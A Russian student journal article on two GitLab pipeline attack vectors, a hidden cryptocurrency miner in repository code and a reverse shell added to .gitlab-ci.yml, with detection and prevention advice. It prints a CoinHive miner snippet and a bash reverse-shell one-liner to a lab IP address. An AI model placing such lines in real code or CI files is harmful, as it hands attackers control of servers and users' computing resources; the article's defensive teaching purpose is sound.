Телефон: 8-800-350-22-65
WhatsApp: 8-800-350-22-65
Telegram: sibac
Прием заявок круглосуточно
График работы офиса: с 9.00 до 18.00 Нск (5.00 - 14.00 Мск)

Статья опубликована в рамках: Научного журнала «Студенческий» № 2(256)

Рубрика журнала: Информационные технологии

Скачать книгу(-и): скачать журнал часть 1, скачать журнал часть 2, скачать журнал часть 3, скачать журнал часть 4, скачать журнал часть 5, скачать журнал часть 6, скачать журнал часть 7, скачать журнал часть 8

Библиографическое описание:
Шеламов М.Д. ВОЗМОЖНЫЕ УГРОЗЫ БЕЗОПАСНОСТИ В GITLAB: ВСТРАИВАНИЕ МАЙНЕРА И УДАЛЕННЫЙ ДОСТУП // Студенческий: электрон. научн. журн. 2024. № 2(256). URL: https://sibac.info/journal/student/256/315546 (дата обращения: 23.07.2024).

ВОЗМОЖНЫЕ УГРОЗЫ БЕЗОПАСНОСТИ В GITLAB: ВСТРАИВАНИЕ МАЙНЕРА И УДАЛЕННЫЙ ДОСТУП

Шеламов Максим Дмитриевич

студент, кафедра управления и защиты информации, Российский университет транспорта,

РФ, г. Москва

POSSIBLE SECURITY THREATS IN GITLAB: BUILDING MINER AND REMOTE ACCESS

 

Maksim Shelamov

student, Department of Management and Information Security, Russian University of Transport,

Russia, Moscow

 

АННОТАЦИЯ

Статья рассматривает два наиболее опасных вектора атаки на конвейер GitLab. В статье подробно описываются методы атак, их последствия, а также способы обнаружения и предотвращения этих атак. Цель статьи – просветить читателей о потенциальных угрозах безопасности в GitLab и о том, как их можно избежать. Эта статья будет полезна для всех, кто работает с GitLab и хочет повысить безопасность своих проектов.

ABSTRACT

The article examines the two most dangerous attack vectors against the GitLab pipeline. The article describes in detail the attack methods, their consequences, and how to detect and prevent these attacks. The purpose of this article is to educate readers about potential security risks in GitLab and how they can be avoided. This article will be useful for anyone who works with GitLab and wants to improve the security of their projects.

 

Ключевые слова: GitLab, майнер, удаленный доступ, gitlab-ci.yml.

Keywords: GitLab, miner, remote access, gitlab-ci.yml.

 

GitLab – это веб-приложение для контроля версий и совместной разработки программного обеспечения [1]. Он предоставляет инструменты для управления и организации работы над проектами, что делает его неотъемлемой частью современной разработки программного обеспечения. GitLab играет важную роль в мире разработки программного обеспечения. Его возможности по автоматизации рабочих процессов, управлению проектами и совместной работе делают его незаменимым инструментом для разработчиков и организаций.

Однако, как и любая другая технология, GitLab не застрахован от угроз безопасности. Векторы атак – это методы или пути, которыми злоумышленники могут эксплуатировать уязвимости в системе. В этой статье мы рассмотрим два таких вектора, которые могут быть использованы для атаки на конвейер GitLab: встраивание майнера в код репозитория и получение удаленного доступа к серверу через добавление команды в код gitlab-ci.yml.

Цель этой статьи – продемонстрировать потенциальные угрозы безопасности в GitLab и о том, как их можно предотвратить. После прочтения этой статьи вы будете более осведомлены о вопросах безопасности и сможете применить полученные знания на практике.

Встраивание майнера в код репозитория

Первый важный вектор атаки – это встраивание майнера в код репозитория. Этот тип атаки заключается в том, что злоумышленник внедряет скрытый майнер криптовалюты в код проекта [2]. Когда другие разработчики или пользователи скачивают и запускают этот код, майнер начинает использовать их вычислительные ресурсы для добычи криптовалюты, принося прибыль злоумышленнику.

Вот пример фрагмента кода на JavaScript, который может быть использован для имитации веб-майнера:

var miner = new CoinHive.Anonymous('YOUR_SITE_KEY');

miner.start();

// Слушаем события

miner.on('found', function() { /* Найден хеш */ })

miner.on('accepted', function() { /* Хеш принят пулом */ })

// Обновляем статистику раз в секунду

setInterval(function() {

    var hashesPerSecond = miner.getHashesPerSecond();

    var totalHashes = miner.getTotalHashes();

    var acceptedHashes = miner.getAcceptedHashes();

    // Выводим в HTML элементы...

}, 1000);

В этом примере используется библиотека CoinHive для создания анонимного майнера, который начинает работу сразу после запуска. Затем устанавливаются обработчики событий для отслеживания процесса майнинга и обновления статистики.

Однако, несмотря на то, что этот код может выглядеть безобидным, его воздействие на системы оказалось существенным. При использовании команды top на Unix-системах был зафиксирован рост нагрузки на процессор в районе 70 процентов.

Последствия такой атаки могут быть серьезными. Во-первых, она может привести к значительному снижению производительности системы, поскольку майнеры криптовалюты обычно требуют большого количества вычислительных ресурсов. Во-вторых, она может привести к увеличению расходов на электроэнергию. В-третьих, она может повредить репутацию проекта и вызвать недоверие со стороны сообщества.

Чтобы обнаружить такую атаку, можно использовать инструменты статического анализа кода, которые ищут подозрительные участки кода, такие как вызовы функций для майнинга криптовалюты. Также можно настроить системы мониторинга, которые следят за необычной активностью, такой как повышенное использование CPU.

Чтобы предотвратить такую атаку, важно следить за изменениями в коде и проводить регулярный аудит безопасности. Кроме того, следует ограничить доступ к репозиторию и использовать двухфакторную аутентификацию для всех учетных записей, имеющих право на запись.

В следующем разделе мы рассмотрим другой вектор атаки – получение удаленного доступа к серверу через добавление команды в код gitlab-ci.yml.

Получение удаленного доступа к серверу через добавление команды в код .gitlab-ci.yml

Второй вектор атаки, который мы рассмотрим, – это получение удаленного доступа к серверу через добавление команды в код gitlab-ci.yml. Этот тип атаки заключается в том, что злоумышленник добавляет вредоносную команду в файл конфигурации CI/CD, который исполняется на сервере при каждом обновлении кода.

Цель такой атаки – получить удаленный доступ к серверу и возможность выполнять произвольные команды. Это может привести к краже данных, нарушению работы сервера или даже полному контролю над сервером.

Один из способов осуществления такой атаки – использование команды reverse shell [3]. Reverse shell позволяет злоумышленнику установить обратное соединение с целевым сервером, что дает ему возможность выполнять произвольные команды на этом сервере.

Вот пример фрагмента кода, который может быть встроен в файл gitlab-ci.yml для создания reverse shell:

bash -i >& /dev/tcp/192.168.58.131/4000 0>&1

В этом примере используется bash для установления обратного соединения с IP-адресом 192.168.58.131 на порту 4000. Злоумышленник должен слушать этот порт на своем компьютере, чтобы получить доступ к консоли на целевом сервере.

После успешного выполнения этой команды злоумышленник получит удаленный доступ к серверу. На рисунке 1 представлен скриншот консоли Kali Linux, который демонстрирует результат получения удаленного доступа.

 

Рисунок 1. Удаленный доступ с устройства злоумышленника

 

Чтобы обнаружить такую атаку, можно использовать инструменты статического анализа кода, которые ищут подозрительные команды в файлах конфигурации CI/CD. Также можно настроить системы мониторинга, которые следят за необычной активностью на сервере.

Чтобы предотвратить такую атаку, важно следить за изменениями в файлах конфигурации CI/CD и проводить регулярный аудит безопасности. Кроме того, следует ограничить доступ к репозиторию и использовать двухфакторную аутентификацию для всех учетных записей, имеющих право на запись.

Заключение

В ходе нашего исследования мы рассмотрели два вектора атаки на конвейер GitLab: встраивание майнера в код репозитория и получение удаленного доступа к серверу через добавление команды в код gitlab-ci.yml. Оба этих вектора могут привести к серьезным последствиям, включая потерю производительности, увеличение расходов на электроэнергию, кражу данных и потерю контроля над сервером.

Однако, существуют способы обнаружения и предотвращения этих атак. Использование инструментов статического анализа кода, систем мониторинга, ограничение доступа к репозиторию и использование двухфакторной аутентификации – все это меры, которые могут помочь улучшить безопасность в GitLab.

Важно помнить, что безопасность – это не единоразовое действие, а постоянный процесс, который требует внимательного отношения к изменениям в коде, регулярного аудита безопасности и постоянного обучения новым угрозам и методам их предотвращения.

 

Список литературы:

  1. GitLab: The DevSecOps Platform [электронный ресурс] – Режим доступа – URL: https://about.gitlab.com (дата обращения: 11.01.2024).
  2. «Майнер на сайте — зло (хотя может стать и добром)» [электронный ресурс] – Режим доступа – URL: https://habr.com/ru/articles/347868/ (дата обращения: 11.01.2024).
  3. Reverse Shell Cheat Sheet 2024: A Quick Hack Reference Guide – StationX [электронный ресурс] – Режим доступа – URL: https://www.stationx.net/reverse-shell-cheat-sheet/ (дата обращения: 11.01.2024).
Удалить статью(вывести сообщение вместо статьи): 

Оставить комментарий

Форма обратной связи о взаимодействии с сайтом
CAPTCHA
Этот вопрос задается для того, чтобы выяснить, являетесь ли Вы человеком или представляете из себя автоматическую спам-рассылку.